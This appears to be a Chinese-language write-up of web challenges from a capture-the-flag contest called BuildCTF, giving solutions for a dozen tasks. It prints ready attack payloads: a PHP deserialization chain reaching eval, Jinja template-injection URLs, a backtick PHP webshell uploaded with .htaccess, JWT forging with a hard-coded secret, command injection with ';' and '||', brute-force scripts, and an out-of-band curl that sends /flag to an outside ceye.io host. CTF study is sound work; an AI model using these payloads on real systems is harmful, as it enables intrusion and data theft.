文章目录
-  
- LovePopChain
 - RedFlag
 - Why_so_serials?
 - babyupload
 - eazyl0gin
 - ez!http
 - ez_md5
 - find-the-id
 - sub
 - tflock
 - 刮刮乐
 - 我写的网站被rce了?
 
 
LovePopChain
payload:
<?php
class MyObject{public $NoLove="Do_You_Want_Fl4g?";public $Forgzy;public function __wakeup(){if($this->NoLove == "Do_You_Want_Fl4g?"){echo 'Love but not getting it!!';}}public function __invoke(){$this->Forgzy = clone new GaoZhouYue();}
}class GaoZhouYue{public $Yuer;public $LastOne;public function __clone(){echo '最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}
}class hybcx{public $JiuYue;public $Si;public function __call($fun1,$arg){$this->Si->JiuYue=$arg[0];}public function __toString(){$ai = $this->Si;echo 'I W1ll remember you';return $ai();}
}
$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->callxxx(new GaoZhouYue());
echo serialize($a);
 

浅提一下思路
我们目的是想要 eval($_POST[‘y3y4’]); 需要触发__clone(),从而找到 MyObject的__invoke()方法,想要触发__invoke()需要找到hybcx类的__toString()方法,想要触发__toString()方法,就要触发MyObjec的__wakeup()方法,并让方法中的变量赋为对应的类即可
__clone(),当对象复制完成时调用
 __invoke(),调用函数的方式调用一个对象时的回应方法
 __toString(),类被当成字符串时的回应方法
 其他方法详见超链接
RedFlag
import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/redflag/<path:redflag>')
def redflag(redflag):def safe_jinja(payload):payload = payload.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payloadreturn flask.render_template_string(safe_jinja(redflag))__globals__:对保存函数全局变量的字典的引用-定义函数的模块的全局命名空间。
 
payload:
http://27.25.151.80:44428/redflag/{{url_for.__globals__
 
发现current_app
 
http://27.25.151.80:44428/redflag/{{url_for.__globals__['current_app'].config}}
 

Why_so_serials
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');class Gotham{public $Bruce;public $Wayne;public $crime=false;public function __construct($Bruce,$Wayne){$this->Bruce = $Bruce;$this->Wayne = $Wayne;}
}if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){$Bruce = $_GET['Bruce'];$Wayne = $_GET['Wayne'];$city = new Gotham($Bruce,$Wayne);if(preg_match("/joker/", $Wayne)){$serial_city = str_replace('joker', 'batman', serialize($city));$boom = unserialize($serial_city);if($boom->crime){echo $flag;}}else{echo "no crime";}
}else{echo "HAHAHAHA batman can't catch me!";
}
 
字符串逃逸使得crime为1即可
 payload
$a=new Gotham( 'c','jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}');
echo serialize($a);
echo "
";
$a=str_replace('joker', 'batman',serialize($a));
echo $a;
 

babyupload

 发现upload.php
 经过检测并未严格控制文件的上传后缀,不允许上传php,phtml文件,会检测Content-Type的类型是否为图片抓包 改Content-Type
 思路:上传.htaccess文件+png文件
 
 经过测试文件内容不能有php,eval,assert等敏感词汇
<?=`$_GET[x]`?>
 

 命令可以执行这种情况可能是前面乱码的原因
 
eazyl0gin
-  
关键在routes/users.js
var express = require(‘express’);
var router = express.Router();
const crypto = require(‘crypto’);
const { type } = require(‘os’);/* GET users listing. */
router.get(‘/’, function(req, res, next) {
res.send(‘respond with a resource’);
});router.post(‘/login’,function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash(‘md5’);
const flag = process.env.flagif(data.username.toLowerCase()===‘buildctf’){
return res.render(‘login’,{data:“你不许用buildctf账户登陆”})
}if(data.username.toUpperCase()!=‘BUILDCTF’){
return res.render(‘login’,{data:“只有buildctf这一个账户哦~”})
}var md5pwd = md5.update(data.password).digest(‘hex’)
if(md5pwd.toLowerCase()!=‘b26230fafbc4b147ac48217291727c98’){
return res.render(‘login’,{data:“密码错误”})
}
return res.render(‘login’,{data:flag})})
module.exports = router; 
需要注意的在这里
  if(data.username.toLowerCase()==='buildctf'){return res.render('login',{data:"你不许用buildctf账户登陆"})}if(data.username.toUpperCase()!='BUILDCTF'){return res.render('login',{data:"只有buildctf这一个账户哦~"})}var md5pwd = md5.update(data.password).digest('hex')if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){return res.render('login',{data:"密码错误"})}return res.render('login',{data:flag})
 
参考p牛文章https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
 注意
"?".toUpperCase() == 'I'
 
这里就可以用来绕过
 password直接md5解密
 
 
ez!http
user=root
 
 改Referer
 
 改User-Agent
 
 改XFF
 
 改Date
 
 这里邮箱不知为何没有传递成功,当时比赛时间内成功后没来得及写wp,知道的可以在评论区告诉我下,后续还会更新。
ez_md5

 这里输入
ffifdyop // MD5 加密后变成万能密码
 

 查看下robots.txt
 
$Build != $CTF && md5($Build) == md5($CTF)
这里使用数组绕过即可
md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28"
根据已知提示使用脚本爆破
 
爆破脚本
import hashlib
def md5_encrypt(text):md5 = hashlib.md5()md5.update(text.encode('utf-8'))return md5.hexdigest()
for i in range(1145140000000,1145149999999):b=md5_encrypt(str(i))if(b=="3e41f780146b6c246cd49dd296a3da28"):print(i)break
 

 
 这里将_改为[
find-the-id
给提示了
-  
善用工具,跟你爆了
 -  
是1到300之间的某个整数
 -  

这道题有点莫名奇妙
简单写个爆破脚本import requests
for i in range(1, 300):
url = f’http://27.25.151.80:44446/index.php?g={i}’
res = requests.get(url=url).text
if ‘BuildCTF’ in res:
print(res)
break 

sub
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hashapp = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}messages = []@app.route('/message', methods=['GET', 'POST'])
def message():if request.method == 'POST':name = request.form.get('name')content = request.form.get('content')messages.append({'name': name, 'content': content})flash('Message posted')return redirect(url_for('message'))  return render_template('message.html', messages=messages)@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users:flash('Username already exists')return redirect(url_for('register'))users[username] = {'password': generate_password_hash(password), 'role': 'user'}flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')response = make_response(render_template('page.html'))response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return responseelse:return jsonify({"msg": "Invalid username or password"}), 401return render_template('login.html')@app.route('/logout')
def logout():resp = make_response(redirect(url_for('index')))resp.set_cookie('jwt', '', expires=0)flash('You have been logged out')return resp@app.route('/')
def index():return render_template('index.html')@app.route('/page')
def page():jwt_token = request.cookies.get('jwt')if jwt_token:try:payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])current_user = payload['sub']role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg": "Token has expired"}), 401except jwt.InvalidTokenError:return jsonify({"msg": "Invalid token"}), 401except Exception as e:return jsonify({"msg": "Invalid or expired token"}), 401if role != 'admin' or current_user not in users:return abort(403, 'Access denied')file = request.args.get('file', '')file_path = os.path.join(DOCUMENT_DIR, file)file_path = os.path.normpath(file_path)if not file_path.startswith(DOCUMENT_DIR):return abort(400, 'Invalid file name')try:content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:content = str(e)except Exception as e:content = str(e)return render_template('page.html', content=content)else:return abort(403, 'Access denied')@app.route('/categories')
def categories():return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])if __name__ == '__main__':app.run(host='0.0.0.0', port=5050)
 
附件大概可以知道这是一个jwt验证身份的网站,思路就是注册账户得到jwt通过密钥修改jwt得role身份为admin然后通过page网页修改file得参数达到执行任意命令得效果

 漏洞点,file可以通过;执行多条任意命令

 拿到jwt
修改为admin
 
 拿到jwt去page页面
 
tflock
扫描出来这些文件
 
 点击忘记密码发现提示
 
 在robots.txt中找到密码本
 
 发现两个目录
 
 
 
 测试发现ctfer用户的账号和密码是对的需要通过password.txt爆破出admin的密码
 将password.txt保存下来使用burpsuit爆破即可
 这里不知为何重做时没用爆破出正确的密码,比赛时间内成功后没来得及写wp,知道的可以在评论区告诉我下,后续还会更新。
刮刮乐
查看源代码可以知道cmd参数
猜想执行命令
cmd=ls%7Csleep%203
//执行后发现延时所以可以执行命令不过无回显
 
使用带外注入
推荐利用平台 http://ceye.io/
cmd=curl http://xxxxx.ceye.io/`cat /flag`
或者
curl `cat /flag`.xxxxx.ceye.io都可以
改为自己的标识符
 


我写的网站被rce了?

 查看日志和查看进程可以执行命令并回显
 先了解写linux中的||
 按照顺序,在第一个命令执行成功时,第二个命令就不会执行;或者在第一个命令返回错误时,将执行第二个命令
 
 我们构建一个不存在的文件使得查看文件的命令错误执行第二个命令
 同时保证access.log结尾
 先查看一下源代码
 cat和more被过滤使用uniq,空格被过滤使用$IFS
 
 禁用不是太严格直接写命令读取
 
